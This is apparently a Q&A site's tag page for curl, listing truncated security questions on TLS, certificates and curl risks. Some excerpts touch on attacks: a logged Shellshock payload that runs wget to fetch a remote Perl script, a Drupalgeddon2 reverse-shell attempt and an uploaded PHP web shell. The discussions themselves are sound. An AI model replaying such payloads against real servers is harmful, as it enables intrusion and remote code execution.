Questions tagged [curl]

An open source command line utility for transferring data using URL syntax with support for many protocols including FTP, HTTP, HTTPS, various mail protocols (including IMAP, POP3, and SMTP) and others

Filter by
Sorted by
Tagged with
-1 votes
0 answers
13 views

pick a value from array [migrated]

i have a curl request which fetches response, response comes as plain text, i need to read a value from response. i have used below method it works using ID, i want to use name of field rather than ID ...
1 vote
3 answers
185 views

How to block a POST curl request

My WordPress website received a couple of fake subscriptions to the newsletter. I identified the logs, most of them with the same form as below: xx.xx.xx.xx example.com - [04/Feb/2023:06:01:42 +0100] &...
0 votes
1 answer
273 views

is it necessary for cURL to check for CRL in Windows?

I'm trying to set up cURL to get data from remote server at any sitaution. I use --tlsv1.3 --tls13-ciphers TLS_CHACHA20_POLY1305_SHA256 --http2 to make it as secure as I can think of, using Windows 11....
user avatar
0 votes
0 answers
335 views

Disable client-initiated session renegotiation from the client side

I have a client which connects to a server securely on multiple protocols, namely MQTT and HTTPS. Because of the following CVE, CVE-2009-3555, we decided to disable all client-initiated session ...
1 vote
1 answer
42 views

Validate HTTPS traffic at later time [duplicate]

I want to capture HTTPS traffic, save it, and validate it at a later time. I want to ensure that at a later time I'm able to validate the HTTPS traffic using the certificate which was presented at the ...
user avatar
0 votes
1 answer
393 views

Url only works from the browser it is generated from. Copying it into a Curl Command fails, and gives a 403 error. How can I fix this?

I am doing some web scraping for streaming files, .m3u8 mime type. In this particular instance, I can't create a functional request that does not end up with a 403 Forbidden error. How to reproduce: ...
0 votes
1 answer
151 views

Does using the "-k" flag with curl disable only the certificate verification?

I'm writing an API which is running on my own web server written in Go. I have a local environment set up to run it all under HTTS using a self signed cert and it all works great. It all works and I ...
  • 103
1 vote
1 answer
1k views

SSL error when using curl with only trusted root certificate but server is already returning full certificate chain

My SSL server uses the following certificate setup: leaf -> intermediate -> root (trusted ca). I have verified using openssl that it's returning both leaf and intermediate certificate (at least ...
0 votes
0 answers
2k views

Certificate subject name 'xxx' does not match target host name 'yyy' [duplicate]

I have golang app that works as server which a single client accesses by the IP hostname (aaa.bbb.ccc.ddd). Trying to implement mTLS. Since I have only one client, its cert/key pair (myclient.crt/...
0 votes
1 answer
658 views

Does copying cookies allow attackers to view pages that should be visible only after login?

TLDR; Copying the request from ChromeDevTools along with all cookies allows me to view pages that I should not be able to view after logging in. Have I been pwned ? I just found a terrifyingly easy ...
  • 275
1 vote
1 answer
255 views

Why if a server response contain both Public: TRACE and Allow: TRACE then responds with 405 NOT allowed?

SCENARIO: I'm testing a web application. To test if TRACE is enabled I used both nmap --script http-methods target.com and curl -k -i -X OPTIONS target.com After running the former I get 443/tcp ...
  • 557
1 vote
1 answer
661 views

Can it be dangerous to curl without any option an HTTP address?

I wanted to know my external IP address from the command line. I found this answer on Ask Ubuntu: Command for determining my public IP? which suggests to use curl -s https://checkip.dyndns.org | sed -...
  • 111
0 votes
2 answers
1k views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
18 votes
5 answers
12k views

HTTPS connection to specific sites fail with cURL on macOS

On my Mac, HTTPS connnections to certain sites fail using the built-in curl binary of macOS 10.14. They work fine with different browsers, as well as other builds of cURL on the same system. One of ...
  • 451
2 votes
1 answer
220 views

Seems my CNAMEs got "curled". Somebody please explain this to me

According to my CloudFlare firewall logs, somebody went through each of my subdomains. My website is not advertised, it doesn't even show on Google unless typing the exact domain name into it. I think ...
1 vote
0 answers
98 views

Is it possible to exploit php curl? [duplicate]

I have been working on a project and I wonder if it's possible to exploit curl_exec function while in PHP. Scenario: I have the PHP script that checks a domain for me, but the curl is not secured, ...
  • 23
0 votes
0 answers
520 views

Linux curl SH script broken unless I specify TLS version

I was going to post this on a different SE site, but I found that explicitly stating --tlsv1.1 to curl fixed the problem, for now. My question now relates to security. A vendor switched to FTPS (not ...
3 votes
1 answer
913 views

Sending a reverse shell command through the drupalgeddon vulnerability isn't working

I'm trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine. the requests: -curl -k -s 'http://192.168.204.141/?q=...
0 votes
1 answer
7k views

What is the meaning of this TLS output: TLSv1.2 (OUT), TLS alert, Client hello (1)

I'm downloading a small sample tar file using curl and outputting verbose log to see the details: curl -v -H 'Connection: close' https://ftp.gnu.org/gnu/gcc/gcc-2.95.1/gcc-objc-2.95.1.tar.gz > /...
  • 3
54 votes
6 answers
10k views

Is `curl {something} | sudo bash -` a reasonably safe installation method?

The most straightforward way to install NodeJS on Ubuntu or Debian seems to be Nodesource, whose installation instructions say to run: curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - ...
  • 829
0 votes
1 answer
164 views

How to securely host downloadable source code

As a follow up to The most secure way to allow downloading and installing an app on Mac, Windows, or Linux, I am wondering how one (such as I) may go about creating a new framework for hosting ...
  • 598
0 votes
1 answer
2k views

Unable to intercept android app traffic neither in Burp Suite nor in Network Profiler. Can anyone help?

I need to perform MITM attack on an app which doesn't use HttpURLConnection and OkHttp libraries for network connection. Analysis : Configured burp on the devices, able to capture request of Chrome ...
  • 1
37 votes
3 answers
10k views

Is it insecure to send a password in a `curl` command?

Here’s an example request we can make to the GitHub API: curl 'https://api.github.com/authorizations' --user "USERNAME" This will prompt for the account password, to continue: Enter host password ...
0 votes
2 answers
603 views

Will it be a crime if I post data into someone's website using cURL? [closed]

I found a website which is not secure and tried to post a form on that site using cURL request in PHP and it worked successfully. However, that is a simple site with contact form and no special or ...
3 votes
2 answers
618 views

Can cURL block a rogue CA?

I know which Certificate Authority (CA) my server uses for its TLS certs. My client system also knows who the CA is. When I use cURL, I can specify --cacert to specify a custom CA file to use, but ...
5 votes
2 answers
4k views

Certificate works in Chrome + Firefox but not with curl ("unable to get local issuer certificate") with the recent cacert.pem

I am trying to connect to a site behind a firewall, that is why I cannot share the URL for verification. $ curl -vvvv https://example.com:8080/foo/ba/?wsdl --cacert /tmp/cacert-2018-12-05.pem * ...
  • 1,257
0 votes
1 answer
7k views

ssl handshake failure unable to get local issuer certificate

I have an issue with new integration that I am working on it. I should consume a web service provided by external company and this service is over https, so in order to integrate with them, they have ...
1 vote
3 answers
11k views

Leveraging curl to spawn a shell

So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that ...
  • 149
5 votes
4 answers
16k views

Is it possible to execute a local file or code from cURL?

I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax: curl "local file" I was looking for possible solutions and found that to read the ...
  • 249
0 votes
1 answer
820 views

Secure file encryption with OpenSSL and a little trick?

I try to really securely encrypt a file with OpenSSL. I´m new to OpenSSL and just read here, that it´s not very secure due to it´s behavior in generating salt & IV, and storing it within the ...
0 votes
1 answer
181 views

How curl provided source code that the browser did not?

I was playing a CTF and got stuck. When seeing the source code through web browser reveals nothing but when we send the request through curl it reveals out HIDDEN directory. How is it even possible? ...
2 votes
2 answers
189 views

Network provider blocking URL, even though connection made to IP

I came across an interesting case today, which with my limited knowledge I'm unable to understand the working of. I was trying to access a bit.ly link, but it is blocked by my University. Knowing ...
  • 53
0 votes
1 answer
180 views

Extra secure layer to cURL calls

I'm trying to figure out how to add an extra security layer to my WebApp cURL calls going to my API Engine. I have a WebApp that sends data to an API engine I made. My API will have access to the ...
  • 103
-1 votes
1 answer
418 views

Unable to utilise curl commands on website [closed]

There is a free online SMS service called globfone which allows you to send free text messages via their website. However, I'm looking to integrate this functionality into a script through curl. But ...
0 votes
3 answers
3k views

Is there any security threat of using 'curl https://ipinfo.io/ip' to find our IP?

I need to find out the public-ip of an EC2 instance. I was trying this command: curl https://ipinfo.io/ip Is there any security threat of using that method? Like exposing our IP or something?
2 votes
1 answer
161 views

Is my application affected by curl vulnerabilities if using HTTPS with a single server?

To this day two vulnerabilities are known in curl 7.57.0. Both are related to HTTP: HTTP authentication leak in redirects HTTP/2 trailer out-of-bounds read My application uses this version of curl ...
  • 143
0 votes
1 answer
1k views

TLS header in content portion of HTTPS POST request hot handled well

We are trying to communicate from an embedded application to a device via HTTPS protocol. We are having difficulty doing so from the embedded application but can do so successfully from say Windows ...
4 votes
2 answers
1k views

Do browsers and tools send `SNI` field by default connecting to https endpoints?

I am setting up HaProxy for https in passthrough (tcp) mode without SSL/TLS termination. I want to be able to route traffic to different backends based on hostname requested by a client. From HaProxy ...
  • 143
0 votes
0 answers
111 views

Resources explaining why `curl | bash` and similar installation instructions are a security hazard?

I'm getting tired of explaining to people why downloading some arbitrary text file (script) from the internet with curl or wget or whatever and executing it with bash or some other script interpreter ...
  • 121
1 vote
2 answers
2k views

CURLOPT_SSL_VERIFYPEER and potential security issues

In PHP/curl I coded a simple login to a WordPress-based website to login to WP from a mobile client (an iOS app). The website supports https, it is hosted in a shared hosting environment and the ...
  • 111
71 votes
1 answer
10k views

Why is there no certificate error while visiting google.net although it presents a certificate issued to google.com?

The following output shows that google.net is presenting a certificate that has been issued to www.google.com. $ openssl s_client -connect google.net:443 < /dev/null > out.txt 2>&1; cat ...
4 votes
1 answer
2k views

Can the real IP address leak using curl via Tor?

Having seen Tor via Python - can the real IP address leak? I am no longer sure whether or not using curl -L --insecure -C - --socks5 localhost:9150 -H "User-Agent: " check.torproject.org is as ...
1 vote
1 answer
338 views

Is it possible to exploit a server using an C library with a vulnerability?

A server has an old libcurl with the vulnerability CVE-2013-2174. As the documentation says: it unlikely that programs allow user-provided strings unfiltered into this function. My question is: ...
  • 327
2 votes
2 answers
4k views

Are there risks to allowing cURL from my machine?

I currently have several update scripts that I run periodically, which use curl to pull and install updates from various places. In my current configuration however, I have curl blocked by my firewall,...
  • 333
8 votes
1 answer
1k views

Shellshock Exploit evidence - is this a successful attack

I was looking through logs today and noticed the following: 62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /...
1 vote
1 answer
3k views

Unable to use PUT method on server seemingly allowing PUT [closed]

I've just scanned a target and noticed that HTTP PUT is allowed. So, just to verify I used nmap: # nmap --script http-methods <IP> Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-11 ...
  • 1,019
7 votes
1 answer
21k views

Make server return "Unable to split netmask from target expression"

I'm interested in making my website a lot more secure and, while playing about scanning other websites, I found that one website responds to nmap traceroute, curl and wget console commands in such a ...
user avatar
0 votes
2 answers
10k views

Is it possible to send a cURL request with SSL without the private key?

I am developing a service for a client that based on their requirements needs to have client certificate based authentication. They sent me 2 files, one is the certificate they will send in the ...
5 votes
2 answers
1k views

Is there any effective server-side prevention technique against PHP-aided CSRF?

I'm gonna start by saying it: I'm merely a cybersecurity enthusiast, not an expert. Thus, I'm gonna state what I think I know so far, please feel free to correct me at any time. Through my readings, ...
  • 233
49 votes
6 answers
27k views

How do I safely inspect a potentially malicious website?

Sometimes I'm interested in what's behind a malicious website. How do I stay on the safe side if I decide to inspect? I'm searching for methods that are quicker and more simple than running the ...
  • 10.1k